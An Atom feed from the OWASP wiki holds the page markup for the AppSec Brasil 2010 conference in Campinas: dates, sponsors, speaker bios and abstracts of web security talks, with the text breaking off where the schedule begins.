<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
		<id>https://wiki.owasp.org/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Edualves</id>
		<title>OWASP - User contributions [en]</title>
		<link rel="self" type="application/atom+xml" href="https://wiki.owasp.org/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Edualves"/>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php/Special:Contributions/Edualves"/>
		<updated>2026-05-30T19:17:00Z</updated>
		<subtitle>User contributions</subtitle>
		<generator>MediaWiki 1.27.2</generator>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=AppSec_Brasil_2010&amp;diff=91860</id>
		<title>AppSec Brasil 2010</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=AppSec_Brasil_2010&amp;diff=91860"/>
				<updated>2010-10-22T19:59:42Z</updated>
		
		<summary type="html">&lt;p&gt;Edualves: /* Silver Sponsor */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__NOTOC__ &lt;br /&gt;
&lt;br /&gt;
[[Image:LogoAppSecBrazil.002.jpg|center]] &lt;br /&gt;
&lt;br /&gt;
'''Para a versão em português, veja em [[AppSec Brasil 2010 (pt-br)]]''' &lt;br /&gt;
&lt;br /&gt;
= OWASP AppSec Brasil 2010  =&lt;br /&gt;
&lt;br /&gt;
The Second Edition of OWASP's flagship conference in South America will happen in Campinas, SP, Brazil. The Conference consists of two days of training sessions, followed by a two-day conference on a single track. &lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
[[Image:AppSec Brasil 2010 Campinas.jpg|500px]] &lt;br /&gt;
&amp;lt;/center&amp;gt; &lt;br /&gt;
== Conference Dates  ==&lt;br /&gt;
&lt;br /&gt;
The conference will happen from '''November 16th, 2010 to November 19th, 2010'''. The first two days will be tutorial days (see below). Plenary sessions will be held on November 18th and 19th. &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== About ====&lt;br /&gt;
&lt;br /&gt;
== About the conference ==&lt;br /&gt;
&lt;br /&gt;
Following the success of the first AppSec Brasil, held in Brasilia in 2009, the OWASP Brazilian Chapter is organizing its second edition in 2010. AppSec Brasil 2010 will happen in the city of Campinas, located 90 km from São Paulo. &lt;br /&gt;
&lt;br /&gt;
Campinas is the 3rd biggest city in the State of São Paulo and is an important economic center and hosts major universities and research centers. It is known to concentrate several high tech industries, including important multi-national companies in the fields of electronics, telecom and chemicals. &lt;br /&gt;
&lt;br /&gt;
This year, we expect to gather a number of Brazilian and Latin American practitioners and researchers to share state-of-the-art information about application security. &lt;br /&gt;
&lt;br /&gt;
==== Sponsorship  ====&lt;br /&gt;
&lt;br /&gt;
We are currently soliciting sponsors for the AppSec Brasil 2010 Conference. Detailed [[Media:OWASP_-_Sponsorship_Opportunities_-_EN_V.1.2.pdf|sponsorship oportunities]] are now available. &lt;br /&gt;
&lt;br /&gt;
If you are interested in sponsoring AppSec Brasil 2010, please contact the Conference Organization Team (organizacao2010@appsecbrasil.org). &lt;br /&gt;
&lt;br /&gt;
== Sponsors  ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Platinum Sponsors  ==&lt;br /&gt;
{|&lt;br /&gt;
| [[Image:AppSec Brasil 2010 CPQD.jpg|200px|link=http://www.cpqd.com.br]]&lt;br /&gt;
|-&lt;br /&gt;
| &amp;amp;nbsp;&lt;br /&gt;
|-&lt;br /&gt;
|} &lt;br /&gt;
&lt;br /&gt;
== Gold Sponsors  ==&lt;br /&gt;
{|&lt;br /&gt;
| [[Image:LeadComm Logo Screen.jpg|150px|link=http://www.leadcomm.com.br]]&lt;br /&gt;
| width=&amp;quot;50&amp;quot; | &amp;lt;br&amp;gt;&lt;br /&gt;
| [[Image:Logo PagSeguro-Uma empresa-UOL.jpg|150px|link=http://www.pagseguro.uol.com.br]]&lt;br /&gt;
|-&lt;br /&gt;
| &amp;amp;nbsp;&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Silver Sponsors  ==&lt;br /&gt;
&lt;br /&gt;
{|&lt;br /&gt;
|-&lt;br /&gt;
| [[Image:AppSec Brasil 2010 Serpro.png|150px]]&lt;br /&gt;
|-&lt;br /&gt;
| &amp;amp;nbsp;&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt; &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Attendee Kit Sponsors  ===&lt;br /&gt;
{|&lt;br /&gt;
| [[Image:Logotipo_Conviso_2009_Cor.png|150px]]&lt;br /&gt;
| width=&amp;quot;50&amp;quot; | &amp;lt;br&amp;gt;&lt;br /&gt;
| [[Image:lgClavis.png|110px|link=http://www.clavis.com.br]]&lt;br /&gt;
|-&lt;br /&gt;
| &amp;amp;nbsp;&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Promoted by  ==&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
[[Image:Appsec Brasil 2010 InstitutoTuring.png]] &lt;br /&gt;
&amp;lt;/center&amp;gt; &lt;br /&gt;
==== Keynotes  ====&lt;br /&gt;
&lt;br /&gt;
==Robert 'Rsnake' Hansen ==&lt;br /&gt;
&lt;br /&gt;
[http://www.sectheory.com/ SecTheory]&lt;br /&gt;
&lt;br /&gt;
'''''Title:''''' '''The Humble Cookie'''&lt;br /&gt;
&lt;br /&gt;
'''''Abstract:'''''&lt;br /&gt;
The simplest thing in our browser that has caused the most confusion and worry is the cookie.  This presentation will discuss what it is, how cookies work, the little known aspects of them, and dozens of attacks to steal them, set them, crack them or abuse trust based on them.&lt;br /&gt;
&lt;br /&gt;
'''''Bio:''''' Robert Hansen aka RSnake is the CEO and founder of SecTheory. He has worked for Digital Island, Exodus Communications and Cable &amp;amp; Wireless in varying roles from Sr. Security Architect and eventually product managing many of the managed security services product lines.  He also worked at eBay as a Sr. Global Product Manager of Trust and Safety, focusing on anti-phishing, anti-DHTML malware and anti-virus strategies.  Later he worked as a director of product management for Realtor.com.  Robert sits on the advisory board for the Intrepidus Group, previously sat on the technical advisory board of ClickForensics and currently contributes to the security strategy of several startup companies.&lt;br /&gt;
&lt;br /&gt;
Mr. Hansen wrote Detecting Malice, authors content on O'Reilly and co-authored &amp;quot;XSS Exploits&amp;quot; by Syngress publishing.  He sits on the NIST.gov Software Assurance Metrics and Tool Evaluation group focusing on web application security scanners and the Web Application Security Scanners Evaluation Criteria (WASC-WASSEC) group.  He also has briefed the DoD at the Pentagon and speaks at SourceBoston, Secure360, GFIRST/US-CERT, CSI, Toorcon, APWG, ISSA, TRISC, World OWASP/WASC conferences, SANS, Microsoft's Bluehat, Blackhat, DefCon, SecTor, BSides, Networld+Interop, and has been the keynote speaker at the New York Cyber Security Conference, NITES and OWASP Appsec Asia.  Mr. Hansen is a member of Infragard, West Austin Rotary, WASC, IACSP, APWG, contributed to the OWASP 2.0 guide and is on the OWASP Connections Committee.&lt;br /&gt;
&lt;br /&gt;
Robert also maintains the http://ha.ckers.org website where he discuss web application security and provides lots of useful content to be used against web application attacks.&lt;br /&gt;
&lt;br /&gt;
== Jeremiah Grossman ==&lt;br /&gt;
&lt;br /&gt;
[http://www.whitehatsec.com/ WhiteHat Security] &lt;br /&gt;
&lt;br /&gt;
'''''Title:''''' '''TBD.''' &lt;br /&gt;
&lt;br /&gt;
'''''Bio:''''' Jeremiah Grossman, founder and CTO, WhiteHat Security, is a world-renowned Web security expert. A co-founder of the Web Application Security Consortium (WASC), he was named to InfoWorld's Top 25 CTOs in 2007 and is frequently quoted by business and technical media. He has authored dozens of articles and whitepapers, is credited with the discovery of many cutting-edge attack and defensive techniques, and is a co-author of &amp;quot;XSS Attacks: Cross Site Scripting Exploits and Defense.&amp;quot; Grossman is also an influential blogger who offers insight and encourages open dialogue regarding Web security research and trends. Prior to WhiteHat, Grossman was an information security officer at Yahoo! &lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt; &lt;br /&gt;
&lt;br /&gt;
==== Invited Speakers ====&lt;br /&gt;
&lt;br /&gt;
== Samy Kamkar==&lt;br /&gt;
&lt;br /&gt;
'''''Title:''''' '''How I Met Your Girlfriend: The discovery and execution of entirely new classes of Web attacks in order to meet your girlfriend.'''&lt;br /&gt;
&lt;br /&gt;
'''''Abstract:''''' &lt;br /&gt;
This includes entertaining and newly discovered attacks including PHP session&lt;br /&gt;
prediction and random numbers (accurately guessing PHP session cookies),&lt;br /&gt;
browser protocol confusion (turning a browser into an SMTP server), firewall and&lt;br /&gt;
NAT penetration via Javascript (turning your router against you), remote iPhone&lt;br /&gt;
Google Maps hijacking (iPhone penetration combined with HTTP man-in-themiddle),&lt;br /&gt;
extracting extremely accurate geolocation information from a Web browser&lt;br /&gt;
(not using IP geolocation), and more.&lt;br /&gt;
&lt;br /&gt;
'''''Bio:'''''&lt;br /&gt;
Samy Kamkar is best known for the Samy worm, the first XSS worm,&lt;br /&gt;
infecting over one million users on MySpace in less than 24 hours. A cofounder&lt;br /&gt;
of Fonality, Inc., an IP PBX company, Samy previously led the&lt;br /&gt;
development of all top-level domain name server software and systems for&lt;br /&gt;
Global Domains International (.ws).&lt;br /&gt;
&lt;br /&gt;
In the past 10 years, Samy has focused on evolutionary and genetic&lt;br /&gt;
algorithmic software development, Voice over IP software development,&lt;br /&gt;
automated security and vulnerability research in network security, reverse&lt;br /&gt;
engineering, and network gaming. When not strapped behind the Matrix,&lt;br /&gt;
Samy can be found stunt driving and getting involved in local community&lt;br /&gt;
service projects.&lt;br /&gt;
&lt;br /&gt;
== Mano Paul ==&lt;br /&gt;
&lt;br /&gt;
'''''Title:''''' '''Wild Wild Wild Security Planet''' &lt;br /&gt;
&lt;br /&gt;
'''''Abstract:'''''&lt;br /&gt;
Organisms keep themselves safe in a world that's every bit as unpredictable&lt;br /&gt;
as our world. This presentation will parallel what we can learn from the&lt;br /&gt;
world of art, literature, science, nature and apply it to the world of&lt;br /&gt;
software security. For e.g., If Shakespeare had to write about software&lt;br /&gt;
security, what would he write? What does a naked motorist have to do with&lt;br /&gt;
loose lips that sink ships? What does pH have to do with software&lt;br /&gt;
vulnerabilities? What does the Stick Insects' regenerative ability have to&lt;br /&gt;
do with software 'bugs'? or can the Ostrich sticking its head in the sand&lt;br /&gt;
behavior reflect the modicum of risk management we observe today and many&lt;br /&gt;
more ...&lt;br /&gt;
&lt;br /&gt;
The talk would be a fun-filled, extremely interactive session covering&lt;br /&gt;
various concepts of security from risk management, defense in depth, secure&lt;br /&gt;
programming, threats and vulnerabilities and compliance and more ... Come to&lt;br /&gt;
find out the answers to the questions above and see what it takes to develop&lt;br /&gt;
software with a security mindset throughout its life cycle. Come and look at&lt;br /&gt;
software security from a different perspective that would make ALL the&lt;br /&gt;
difference for you and your company.&lt;br /&gt;
&lt;br /&gt;
'''''Bio:'''''&lt;br /&gt;
[[Image:Mano_Paul.jpg|thumb|10px|frame|left|Mano Paul]]&lt;br /&gt;
&amp;lt;b&amp;gt;Shark Researcher turned Security Guru!&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;b&amp;gt;Manoranjan (Mano) Paul&amp;lt;/b&amp;gt; (CSSLP, CISSP, AMBCI, MCSD, MCAD, CompTIA Network+, ECSA) is the Founder and CEO at [http://www.securisksolutions.com SecuRisk Solutions] and [http://www.expresscertifications.com Express Certifications]. Based out of Austin, Texas in the USA, SecuRisk Solutions specializes in three areas of information security solutions - Product Development, Consulting and Awareness, Training &amp;amp; Education while Express Certifications focuses on professional certifications like the CISSP, SSCP, CSSLP and the BCI certificate. &lt;br /&gt;
&lt;br /&gt;
Before SecuRisk Solutions and Express Certifications, Mano played several roles from software developer, quality assurance tester, logistics manager, technical architect, IT strategist and Security Engineer/Program Manager/Strategist at Dell Inc. His information security experience includes designing and developing software security programs from Compliance-to-Coding, application security risk management, security strategy &amp;amp; management, and conducting security awareness training and education. &lt;br /&gt;
&lt;br /&gt;
Mano started his career as a shark researcher in the Bimini Biological Field Station, Bahamas. His educational pursuit took him to the University of Oklahoma where he received his Business Administration degree in Management Information Systems (MIS) with various accolades and the coveted 4.0 GPA. He was a member and chair of the OWASP Global Education Committee and actively participates in OWASP speaking, training and leadership events. He is also the appointed Software Assurance Advisor for (ISC)&amp;lt;sup&amp;gt;2&amp;lt;/sup&amp;gt;, representing and advising the organization on software assurance strategy, training, education and certification. He is  an appointed faculty member and industry representative of the Capitol of Texas Information System Security Association (ISSA) chapter. &lt;br /&gt;
&lt;br /&gt;
Mano has been featured in various domestic and international security conferences and is an invited speaker and panelist, delivering talks and keynotes in conferences such as the OWASP, CSI, Burton Group Catalyst, TRISC and SC World Congress conferences.  He is the author of the Official (ISC)&amp;lt;sup&amp;gt;2&amp;lt;/sup&amp;gt; Guide to the Certified Secure Software Lifecycle Professional (CSSLP&amp;lt;sup&amp;gt;CM&amp;lt;/sup&amp;gt;), contributing author for the Information Security Management Handbook, writes periodically for the Certification Magazine and has contributed to several security topics for the Microsoft Solutions Developer Network (MSDN).&lt;br /&gt;
&lt;br /&gt;
Mano is married to whom he calls the “most wonderful and sacrificial person in this world” - Sangeetha Johnson and their greatest fulfillment comes from spending time with the son – Reuben A Paul (RAP).&lt;br /&gt;
&lt;br /&gt;
==Chris Hofmann==&lt;br /&gt;
&lt;br /&gt;
'''''Title:'''''  '''TBD''' &lt;br /&gt;
&lt;br /&gt;
'''''Abstract:''''' TBD.&lt;br /&gt;
&lt;br /&gt;
'''''Bio:''''' TBD.&lt;br /&gt;
&lt;br /&gt;
====Speakers====&lt;br /&gt;
&lt;br /&gt;
==Cassio Goldschmidt==&lt;br /&gt;
Symantec&lt;br /&gt;
&lt;br /&gt;
'''''Title:''''' '''Responsibility for the Harm and Risk of Software Security Flaws'''&lt;br /&gt;
&lt;br /&gt;
'''''Abstract:'''''&lt;br /&gt;
Who is responsible for the harm and risk of security flaws? The advent of worldwide networks such as the internet made software security (or the lack of software security) became a problem of international proportions. There are no mathematical/statistical risk models available today to assess networked systems with interdependent failures. Without this tool, decision-makers are bound to overinvest in activities that don’t generate the desired return on investment or under invest on mitigations, risking dreadful consequences.  Experience suggests that no party is solely responsible for the harm and risk of software security flaws but a model of partial responsibility can only emerge once the duties and motivations of all parties are examine and understood. &lt;br /&gt;
&lt;br /&gt;
State of the art practices in software development won’t guarantee products free of flaws. The infinite principles of mathematics are not properly implemented in modern computer hardware without having to truncate numbers and calculations. Many of the most common operating systems, network protocols and programming languages used today were first conceived without the basic principles of security in mind. Compromises are made to maintain compatibility of newer versions of these systems with previous versions. Evolving software inherits all flaws and risks that are present in this layered and interdependent solution. Lastly, there are no formal ways to prove software correctness using neither mathematics nor definitive authority to assert the absence of vulnerabilities. The slightest coding error can lead to a fatal flaw. Without a doubt, vulnerabilities in software applications will continue to be part of our daily lives for years to come.  &lt;br /&gt;
&lt;br /&gt;
Decisions made by adopters such as whether to install a patch, upgrade a system or employed insecure configurations create externalities that have implications on the security of other systems. Proper cyber hygiene and education are vital to stop the proliferation of computer worms, viruses and botnets. Furthermore, end users, corporations and large governments directly influence software vendors’ decisions to invest on security by voting with their money every time software is purchased or pirated.&lt;br /&gt;
&lt;br /&gt;
Security researchers largely influence the overall state of software security depending on the approach taken to disclose findings. While many believe full disclosure practices helped the software industry to advance security in the past, several of the most devastating computer worms were created by borrowing from information detailed by researcher’s full disclosure. Both incentives and penalties were created for security researchers: a number of stories of vendors suing security researchers are available in the press. Some countries enacted laws banning the use and development of “hacking tools”.  At the same time, companies such as iDefense promoted the creation of a market for security vulnerabilities providing rewards that are larger than a year’s worth of salary for a software practitioner in countries such as China and India. &lt;br /&gt;
&lt;br /&gt;
Effective policy and standards can serve as leverage to fix the problem either by providing incentives or penalties.  Attempts such PCI created a perverse incentive that diverted decision makers’ goals to compliance instead of security. Stiff mandates and ineffective laws have been observed internationally. Given the fast pace of the industry, laws to combat software vulnerabilities may become obsolete before they are enacted. Alternatively, the government can use its own buying power to encourage adoption of good security standards. One example of this is the Federal Desktop Core Configuration (FDCC).&lt;br /&gt;
&lt;br /&gt;
'''''Bio:'''''&lt;br /&gt;
Cassio Goldschmidt is senior manager of the product security team under the Office of the CTO at Symantec Corporation. In this role he leads efforts across the company to ensure &lt;br /&gt;
secure development of software products. His responsibilities include managing Symantec’s internal secure software development process, training, threat modeling, penetration testing and vulnerability manegement. Cassio’s background includes over 14 years of technical and managerial experience in the software industry. During the eight years he has been with Symantec, he has helped to architect, design and develop several top selling product releases, conducted numerous security classes, and coordinated various penetration tests. Cassio is also known for leading the OWASP chapter in Los Angeles and is a frequent speaker at security conferences worldwide.&lt;br /&gt;
&lt;br /&gt;
Cassio represents Symantec on the SAFECode technical committee and (ISC)2 in the development of the CSSLP certification. He holds a bachelor degree in computer science from Pontificia Universidade Catolica do Rio Grande Do Sul, a masters degree in software engineering from Santa Clara University, and a masters of business administration from the University of Southern California.&lt;br /&gt;
&lt;br /&gt;
==Amichai Shulman==&lt;br /&gt;
Imperva&lt;br /&gt;
&lt;br /&gt;
'''''Title:''''' '''Business Logic Attacks – BATs and BLBs'''&lt;br /&gt;
&lt;br /&gt;
'''''Other authors:''''' Amichai Shulman, Rob Rachwald&lt;br /&gt;
&lt;br /&gt;
'''''Abstract:'''''&lt;br /&gt;
Cyber attacks are being committed more often by professionals, and are increasingly driven by financial motives. Researchers have discovered the increasing popularity of a certain class of attacks that target business logic. Business logic attacks are a set of legal application transactions that are used to carry out a malicious operation that is not part of normal business practices. For example, brute forcing coupon codes in an ecommerce application to receive multiple discounts. This presentation will provide a quick introduction to business logic attacks, their unique characteristics and the motivation behind their uptick. The session will suggest a classification method for these attacks from which attendees can draw a set of required mitigation capabilities. We will discuss capabilities required for detecting automated interaction with the application, different types of repetitions, flow tampering and even compromised credentials. We will also contemplate on the usage of mitigation techniques such as Captcha, introducing delays and more. Concluding this session we will bring up the claim that all these capabilities can be introduced in the form of a &amp;quot;virtual patch&amp;quot; using a web application firewall, rather than being exclusively fixed in application code.&lt;br /&gt;
&lt;br /&gt;
'''''Bio:'''''&lt;br /&gt;
Amichai Shulman is Co-Founder and CTO of Imperva, where he heads the Application Defense Center (ADC), Imperva's internationally recognized research organization focused on security and compliance. Mr. Shulman regularly lectures at trade conferences and delivers monthly eSeminars. The press draws on Mr. Shulman's expertise to comment on breaking news, including security breaches, mitigation techniques, and related technologies. Under his direction, the ADC has been credited with the discovery of serious vulnerabilities in commercial Web application and database products, including Oracle, IBM, and Microsoft. Prior to Imperva, Mr. Shulman was founder and CTO of Edvice Security Services Ltd., a consulting group that provided application and database security services to major financial institutions, including Web and database penetration testing and security strategy, design and implementation. Mr. Shulman served in the Israel Defense Forces, where he led a team that identified new computer attack and defense techniques. He has B.Sc and Masters Degrees in Computer Science from the Technion, Israel Institute of Technology.&lt;br /&gt;
&lt;br /&gt;
==Gabriel Quadros==&lt;br /&gt;
Conviso IT Security&lt;br /&gt;
&lt;br /&gt;
'''''Title:''''' '''Taint Analysis of JavaScript Code to Detect Web Application Vulnerabilities'''&lt;br /&gt;
&lt;br /&gt;
'''''Abstract:'''''&lt;br /&gt;
Modern Web applications make increasing use of client-side code, with JavaScript being the most present in most of them. Several vulnerabilities are introduced through the careless use of this language. The publicly available analysis tools are usually based on pattern matching to find potential vulnerabilities, but this is not an efficient approach to analyze large amounts of code. Therefore, there is a need to develop tools to perform more advanced analysis like Taint Analysis and Symbolic Execution. This article discusses various approaches to dynamic analysis of JavaScript code and presents the JsInstrumentator tool, which is being developed by Conviso Security Labs.&lt;br /&gt;
&lt;br /&gt;
'''''Bio:'''''&lt;br /&gt;
Gabriel Quadros começou a estudar segurança da informação em 2003, com interesse principal em engenharia reversa, pesquisa de vulnerabilidades e desenvolvimento de exploits.&lt;br /&gt;
&lt;br /&gt;
Atualmente cursa o último ano do Bacharelado em Ciência da Computação na Universidade Estadual do Sudoeste da Bahia - UESB.&lt;br /&gt;
&lt;br /&gt;
Em abril de 2010, começou suas atividades como consultor de segurança na Conviso IT Security.&lt;br /&gt;
&lt;br /&gt;
==Tony Rodrigues==&lt;br /&gt;
Provider IT Business Solutions&lt;br /&gt;
&lt;br /&gt;
'''''Title:''''' '''Tony’s Top 10 Application Artifacts: A Computer Forensics Approach to OWASP Top 10'''&lt;br /&gt;
&lt;br /&gt;
'''''Abstract:'''''&lt;br /&gt;
Application Computer Forensics has many peculiarities comparing to others Computer Forensics disciplines. It requires not only distinctive techniques but also deep knowledge of specific artifacts. This presentation is about the top ten artifacts related to application computer forensics/digital investigations and their relation to OWASP Top 10 Risks.&lt;br /&gt;
&lt;br /&gt;
'''''Bio:'''''&lt;br /&gt;
Tony Rodrigues é um profissional certificado CISSP, CFCP e Security+ com mais de 20 anos de experiência em TI e 8 anos em Gestão de Segurança de Informações. Já liderou várias investigações,	perícias e pesquisas sobre Computação Forense. Tony é consultor em Segurança de Informações e palestrou em importantes conferencias internacionais (CNASI, H2HC,YSTS). É autor/criador do blog forcomp.blogspot.com, sobre Resposta a Incidentes e Forense Computacional e também colabora com artigos no blog de Computer Forensics da SANS.&lt;br /&gt;
&lt;br /&gt;
==Henrich Christopher Pöhls==&lt;br /&gt;
University of Passau - ISL&lt;br /&gt;
&lt;br /&gt;
'''''Title:''''' '''The State of XML Digital Signatures --- How to Avoid Technical Pitfalls and Harvest the Power of Newer Signature Schemes'''&lt;br /&gt;
&lt;br /&gt;
'''''Abstract:'''''&lt;br /&gt;
XML Digital Signatures are a complex tool, applied right they help to ensure legal compliance, &lt;br /&gt;
but there are many pitfalls. &lt;br /&gt;
This talk will provide some basic steps that users and implementers should follow to avoid the pitfalls, &lt;br /&gt;
among them are:&lt;br /&gt;
* Solid Understanding of the XML Signature processing and verification steps &lt;br /&gt;
* Use of simplistic and coherent references when creating XML Digital Signature&lt;br /&gt;
* Know how to Test what was signed before acting upon it (BitFlip Test)&lt;br /&gt;
The Talk will also provide an overview of new applications for recent  and more specialized &lt;br /&gt;
digital signature schemes, like sanitizable signature schemes (academic research since roughly 2000) that allow to deal with the need&lt;br /&gt;
to modify already signed content. And it will highlight the security relevant changes that are planned &lt;br /&gt;
for the upcoming version of XML Signature Syntax and Processing 2.0.&lt;br /&gt;
&lt;br /&gt;
'''''Bio:'''''&lt;br /&gt;
Henrich C. Pöhls has presented his scientific work on digital signatures at several academic conferences (i.e. ICICS, GI, Invited Talks) or to technical audiences (i.e. DFN CERT, OWASP). Instructor of a practical IT-security university class for Computer Science and IT-Security Master students for the last 7 years. He has established this course first at the University of Hamburg in 2004 and than at the University of Passau in 2008. The course, now titled &amp;quot;Security Infrastructures&amp;quot;, is centered around security infrastructures focussing on secure &amp;amp; authenticated access through the use of digital signatures.&lt;br /&gt;
&lt;br /&gt;
It involves setting-up a certificate authority, using digital signatures and X509 certificates mostly for authentication in open-source software like client and server authentication with apache, secure DNS zone transfers, or client and server authentication in openvpn, as well as in MS Windows environments.It also covers certificate revocation using CRLs and OCSP. Henrich C. Pöhls draws from a rich repository of his own experience from his academic research in the field and the 7 years of using the available tools for creating, applying and managing digital signatures and X509 certificates in different versions and seeing his students struggle with the pitfalls trying to get it to work.&lt;br /&gt;
&lt;br /&gt;
==Rodrigo Montoro==&lt;br /&gt;
Trustwave Spiderlabs&lt;br /&gt;
&lt;br /&gt;
'''''Title:''''' '''Web Application First Aid - Virtual Patching with ModSecurity'''&lt;br /&gt;
&lt;br /&gt;
'''''Abstract:'''''&lt;br /&gt;
This presentation will show how to mitigate security problems that you may found after your application goes to the real world . Weʼll talk about how to analyze a security report, understand how modsecurity works and how based on the report to create a virtual patching using modsecurity rules.&lt;br /&gt;
&lt;br /&gt;
'''''Bio:'''''&lt;br /&gt;
Rodrigo “Sp0oKeR” Montoro possui grande experiência em ambientes opensource e mercado de segurança especialmente na parte de IPS/IDS , malwares e protocolos. Atualmente trabalha no time de pesquisas do SpiderLabs (Trustwave) onde faz parte do core team de assinaturas do modsecurity além de analise de malwares, assinaturas de IDS e pesquisas na area de arquivos maliciosos especialmente pdfʼs.&lt;br /&gt;
&lt;br /&gt;
==Brian Contos==&lt;br /&gt;
McAfee&lt;br /&gt;
&lt;br /&gt;
'''''Title:''''' '''Exploring Three Modern Attack Vectors:  Insiders, Industrialized and APTs'''&lt;br /&gt;
&lt;br /&gt;
'''''Abstract:'''''&lt;br /&gt;
Attacks are coming from all angles. In some cases they are very rudimentary; in others they are highly complex. Organizations must be able to protect themselves regardless, and do so in a way this is in parity with business operations, maintains employee and partner agility, and is manageable without the complexity of the solution being worse than the attack itself.&lt;br /&gt;
&lt;br /&gt;
Failure to address these three different attack types can result in everything from diminished brand loyalty, regulatory penalties, and lost revenue, to stolen intellectual property, economic competitive disadvantage, and military competitive disadvantage.&lt;br /&gt;
Based on research from McAfee Labs and customer interactions across the globe in the public and private sector, there is much information that can be shared about these attackers and their strategies.&lt;br /&gt;
&lt;br /&gt;
Attendees will leave the presentation more knowledgeable about insider threats, industrialized hacking, and APTs. They will have a strong grasp of the attacker motives and understand their attack vectors. The audience will also be exposed to several non-vender, non-product specific countermeasures that they can leverage within their own organizations.&lt;br /&gt;
&lt;br /&gt;
'''''Bio:'''''&lt;br /&gt;
Mr. Contos has over 15 years of security engineering and management expertise. He has worked throughout North and South America, Europe, the Middle East, and Asia. At McAfee he advises government organizations and G2000s on security strategy.	He has written two books including Enemy at the Water Cooler – Real Life Stories of Insider Threats, and Physical and Logical Security Convergence which he co-authored with former NSA Deputy Director William Crowell. He has delivered speeches at industry events like RSA, Black Hat, Interop, OWASP, CSI, ISACA, ISSA, InfraGard and eCrime. He is often quoted by business and industry press, and has written articles for Forbes, NY Times, London Times, Computerworld, and many others. He was formerly the Chief Security Strategist for Imperva, the Chief Security Officer for ArcSight, and has held management and engineering positions at Riptech, Bell Labs, Tandem Computers, and DISA.&lt;br /&gt;
&lt;br /&gt;
==Christophe De La Fuente==&lt;br /&gt;
&lt;br /&gt;
'''''Title:''''' '''Testing and Fuzzing FLEX: More fun with RIA'''&lt;br /&gt;
&lt;br /&gt;
'''''Additional author:''''' '''Matt Tesauro'''&lt;br /&gt;
&lt;br /&gt;
'''''Abstract:'''''&lt;br /&gt;
FLEX is a popular choice for the brave new world of web 2.0 applications. While the game may have appeared to change, rich Internet applications (RIA) still allow for the same vulnerabilities and design mistakes to be made. This presentation will cover methods for testing Adobe FLEX applications including the new version 4 and will look at such issues as cross-­-site flashing, remote calls and fuzzing. Additionally, there will be coverage of tools to test FLEX and other Flash applications including their addition to the OWASP WTE (Web Testing Environment). Finally, some design issues which may hamper FLEX development will be discussed in a brief case study.&lt;br /&gt;
&lt;br /&gt;
'''''Bio:'''''&lt;br /&gt;
Christophe is a Security Consultant within the Application Security practice at Trustwave's SpiderLabs. SpiderLabs is the advanced security team responsible for Penetration Testing, Application Security, and Incident Response for Trustwave's clients. &lt;br /&gt;
&lt;br /&gt;
Christophe has extensive experience in penetration tests on web application and network infrastructure. He has a background testing a large range of applications, from traditional client/server applications to web applications and web services. In addition to his information security experience,  Christophe has experience developing software and web applications. Christophe also has an interest in reverse code engineering for malware analysis and vulnerability research. He as taught post-­-graduate level university course in the field of web application security testing.&lt;br /&gt;
&lt;br /&gt;
==Mauro Risonho de Paula Assumpção==&lt;br /&gt;
&lt;br /&gt;
'''''Title:''''' '''The Tao of Hacking - Detecting Vulnerabilities in Web based Network Devices'''&lt;br /&gt;
&lt;br /&gt;
'''''Abstract:'''''&lt;br /&gt;
This talks relates to the design flaws and vulnerabilities in various network peripheral devices&lt;br /&gt;
used for security which are having web interfaces. We will be talking about some of the&lt;br /&gt;
vulnerabilities that we have discovered while pen testing these devices. Further , this talk also&lt;br /&gt;
lays emphasis on collecting information about internal networks from the network devices like&lt;br /&gt;
load balancers, firewalls, disk stations, proxies, surveillance cameras etc. The aim is to gather&lt;br /&gt;
maximum infomation from these devices and using that information to test the security of these&lt;br /&gt;
devices and detecting vulnerabilities in them. This talk is pure conceptual and technical talk&lt;br /&gt;
designed in an easy way to share information among masses.&lt;br /&gt;
&lt;br /&gt;
'''''Bio:'''''&lt;br /&gt;
Mr. Mauro Assumpção Cheshire Paula aka firebits is a security researcher and lecturer at security conferences. He is working as director of NSEC Security Systems, an organization that provides consulting services for security and penetration testing. He has performed numerous safety tests and development projects for organizations such as Intel, Google, Microsiga, Avon, CMS Energy, Unilever, Rhodia, Tostines, Degussa, Niplan and others. He is founder and &amp;quot;Backtrack Brazil&amp;quot; and moderator and translator Backtrack USA.&lt;br /&gt;
&lt;br /&gt;
Aditya K Sood is a Security Researcher, consultant and PhD candidate in Computer Science Department at Michigan State University.He has worked in the security domain for Armorize, COSEINC and KPMG. He is a founder of SecNiche Security, an independent security research arena. He has been an active speaker at conferences like RSA (US 2010), TRISC, EuSecwest, XCON, Troopers, OWASP AppSec, FOSS, CERT-IN etc. He has writtencontent for HITB Ezine, Hakin9, Usenix Login, Elsevier Journals, De­bugged! MZ/PE.He has released number of advisories to forefront companies.Apart from his normal routine work he loves to do lot of web based research and designing cutting edge attack vector.&lt;br /&gt;
&lt;br /&gt;
==== Schedule ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;'''&amp;lt;span style=&amp;quot;color: rgb(255, 0, 0)&amp;quot;&amp;gt; Note: this schedule is tentative and subject to change. &amp;lt;/span&amp;gt;''' &amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Conference Program - Day 1 - November 18th 2010  ==&lt;br /&gt;
